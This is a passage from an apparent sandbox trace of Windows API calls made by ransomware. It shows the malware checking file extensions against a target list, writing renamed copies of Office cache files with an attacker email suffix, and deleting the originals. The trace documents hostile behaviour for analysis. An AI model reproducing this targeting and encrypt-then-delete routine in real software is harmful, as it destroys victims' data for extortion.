	[0043.206] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0043.207] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0043.207] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0043.209] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xab35ed, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0043.209] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0043.212] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f137d0 | out: hHeap=0x4f0000) returned 1
	[0043.212] CloseHandle (hObject=0x1a0) returned 1
	[0045.298] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0045.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.299] lstrlenW (lpString=".doc") returned 4
	[0045.299] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0045.299] lstrlenW (lpString=".docx") returned 5
	[0045.299] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0045.299] lstrlenW (lpString=".pdf") returned 4
	[0045.299] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0045.299] lstrlenW (lpString=".xls") returned 4
	[0045.299] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0045.299] lstrlenW (lpString=".xlsx") returned 5
	[0045.299] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0045.299] lstrlenW (lpString=".ppt") returned 4
	[0045.299] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0045.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.299] lstrlenW (lpString=".zip") returned 4
	[0045.299] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0045.299] lstrlenW (lpString=".rar") returned 4
	[0045.299] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0045.299] lstrlenW (lpString=".bz2") returned 4
	[0045.299] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0045.299] lstrlenW (lpString=".7z") returned 3
	[0045.299] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0045.299] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.299] lstrlenW (lpString=".dbf") returned 4
	[0045.299] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0045.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.300] lstrlenW (lpString=".1cd") returned 4
	[0045.300] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0045.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.300] lstrlenW (lpString=".jpg") returned 4
	[0045.300] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0045.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.300] lstrlenW (lpString=".doc") returned 4
	[0045.300] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0045.300] lstrlenW (lpString=".docx") returned 5
	[0045.300] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0045.300] lstrlenW (lpString=".pdf") returned 4
	[0045.300] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0045.300] lstrlenW (lpString=".xls") returned 4
	[0045.300] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0045.300] lstrlenW (lpString=".xlsx") returned 5
	[0045.300] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0045.300] lstrlenW (lpString=".ppt") returned 4
	[0045.300] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0045.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.300] lstrlenW (lpString=".zip") returned 4
	[0045.300] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0045.300] lstrlenW (lpString=".rar") returned 4
	[0045.300] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0045.300] lstrlenW (lpString=".bz2") returned 4
	[0045.300] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0045.300] lstrlenW (lpString=".7z") returned 3
	[0045.300] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0045.300] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.300] lstrlenW (lpString=".dbf") returned 4
	[0045.301] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0045.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.301] lstrlenW (lpString=".1cd") returned 4
	[0045.301] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0045.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81
	[0045.301] lstrlenW (lpString=".jpg") returned 4
	[0045.301] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0045.301] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0045.301] lstrlenW (lpString="Office32MUI.msi") returned 15
	[0045.301] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0045.301] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=873984) returned 1
	[0045.302] CloseHandle (hObject=0x1a0) returned 1
	[0045.302] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 0x2020
	[0045.302] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.302] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0045.302] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.302] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.302] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0045.302] GetLastError () returned 0x0
	[0045.302] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0xd5600, lpOverlapped=0x0) returned 1
	[0045.324] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xd5610, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xd5610, lpOverlapped=0x0) returned 1
	[0045.631] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35afed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x35afed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.631] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0045.632] SetEndOfFile (hFile=0x1e8) returned 1
	[0045.632] CloseHandle (hObject=0x1e8) returned 1
	[0045.644] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.644] SetEndOfFile (hFile=0x1a0) returned 1
	[0045.652] CloseHandle (hObject=0x1a0) returned 1
	[0045.652] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0045.652] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.msi")) returned 1
	[0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.653] lstrlenW (lpString=".doc") returned 4
	[0045.653] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0045.653] lstrlenW (lpString=".docx") returned 5
	[0045.653] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0045.653] lstrlenW (lpString=".pdf") returned 4
	[0045.653] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0045.653] lstrlenW (lpString=".xls") returned 4
	[0045.653] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0045.653] lstrlenW (lpString=".xlsx") returned 5
	[0045.653] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0045.653] lstrlenW (lpString=".ppt") returned 4
	[0045.653] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.653] lstrlenW (lpString=".zip") returned 4
	[0045.653] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0045.653] lstrlenW (lpString=".rar") returned 4
	[0045.653] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0045.653] lstrlenW (lpString=".bz2") returned 4
	[0045.653] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0045.653] lstrlenW (lpString=".7z") returned 3
	[0045.653] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.653] lstrlenW (lpString=".dbf") returned 4
	[0045.653] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0045.653] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.653] lstrlenW (lpString=".1cd") returned 4
	[0045.654] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0045.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.654] lstrlenW (lpString=".jpg") returned 4
	[0045.654] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0045.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.654] lstrlenW (lpString=".doc") returned 4
	[0045.654] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0045.654] lstrlenW (lpString=".docx") returned 5
	[0045.654] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0045.654] lstrlenW (lpString=".pdf") returned 4
	[0045.654] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0045.654] lstrlenW (lpString=".xls") returned 4
	[0045.654] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0045.654] lstrlenW (lpString=".xlsx") returned 5
	[0045.654] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0045.654] lstrlenW (lpString=".ppt") returned 4
	[0045.654] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0045.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.654] lstrlenW (lpString=".zip") returned 4
	[0045.654] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0045.654] lstrlenW (lpString=".rar") returned 4
	[0045.654] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0045.654] lstrlenW (lpString=".bz2") returned 4
	[0045.654] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0045.654] lstrlenW (lpString=".7z") returned 3
	[0045.654] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0045.654] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.654] lstrlenW (lpString=".dbf") returned 4
	[0045.654] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0045.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.655] lstrlenW (lpString=".1cd") returned 4
	[0045.655] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0045.655] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.msi") returned 78
	[0045.655] lstrlenW (lpString=".jpg") returned 4
	[0045.655] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0045.655] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0045.655] lstrlenW (lpString="InfLR.cab") returned 9
	[0045.655] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0045.655] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x35aff1c | out: lpFileSize=0x35aff1c*=18874884) returned 1
	[0045.655] CloseHandle (hObject=0x1a0) returned 1
	[0045.655] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab")) returned 0x2020
	[0045.656] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.656] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0045.656] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\inflr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0
	[0045.656] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0x0) returned 1
	[0045.656] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0045.656] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3c60058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0045.943] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0045.943] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0045.950] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35afc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0045.950] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x35afc2c | out: lpNewFilePointer=0x0) returned 1
	[0045.950] ReadFile (in: hFile=0x1a0, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35afc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x35afc38*=0x40000, lpOverlapped=0x0) returned 1
	[0045.967] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.967] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x35afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x35afcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0045.981] SetEndOfFile (hFile=0x1a0) returned 1
	[0045.981] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f337d0
	[0045.981] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0045.981] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f337d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0045.983] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0045.983] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f337d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0045.985] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x35afc7c | out: lpNewFilePointer=0x0) returned 1
	[0045.986] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f337d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f337d0*, lpNumberOfBytesWritten=0x35afc88*=0x40000, lpOverlapped=0x0) returned 1
	[0046.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f337d0 | out: hHeap=0x4f0000) returned 1
	[0046.227] CloseHandle (hObject=0x1a0) returned 1
	[0046.252] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0046.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.253] lstrlenW (lpString=".doc") returned 4
	[0046.253] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0046.253] lstrlenW (lpString=".docx") returned 5
	[0046.253] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0046.253] lstrlenW (lpString=".pdf") returned 4
	[0046.253] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0046.253] lstrlenW (lpString=".xls") returned 4
	[0046.253] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0046.253] lstrlenW (lpString=".xlsx") returned 5
	[0046.253] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0046.253] lstrlenW (lpString=".ppt") returned 4
	[0046.253] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0046.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.253] lstrlenW (lpString=".zip") returned 4
	[0046.253] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0046.253] lstrlenW (lpString=".rar") returned 4
	[0046.253] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0046.253] lstrlenW (lpString=".bz2") returned 4
	[0046.253] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0046.253] lstrlenW (lpString=".7z") returned 3
	[0046.253] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0046.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.253] lstrlenW (lpString=".dbf") returned 4
	[0046.253] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0046.253] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.253] lstrlenW (lpString=".1cd") returned 4
	[0046.254] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0046.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.254] lstrlenW (lpString=".jpg") returned 4
	[0046.254] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0046.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.254] lstrlenW (lpString=".doc") returned 4
	[0046.254] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0046.254] lstrlenW (lpString=".docx") returned 5
	[0046.254] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0046.254] lstrlenW (lpString=".pdf") returned 4
	[0046.254] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0046.254] lstrlenW (lpString=".xls") returned 4
	[0046.254] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0046.254] lstrlenW (lpString=".xlsx") returned 5
	[0046.254] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0046.254] lstrlenW (lpString=".ppt") returned 4
	[0046.254] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0046.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.254] lstrlenW (lpString=".zip") returned 4
	[0046.254] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0046.254] lstrlenW (lpString=".rar") returned 4
	[0046.254] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0046.254] lstrlenW (lpString=".bz2") returned 4
	[0046.254] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0046.254] lstrlenW (lpString=".7z") returned 3
	[0046.254] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0046.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.254] lstrlenW (lpString=".dbf") returned 4
	[0046.254] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0046.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.255] lstrlenW (lpString=".1cd") returned 4
	[0046.255] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0046.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72
	[0046.255] lstrlenW (lpString=".jpg") returned 4
	[0046.255] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0046.255] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
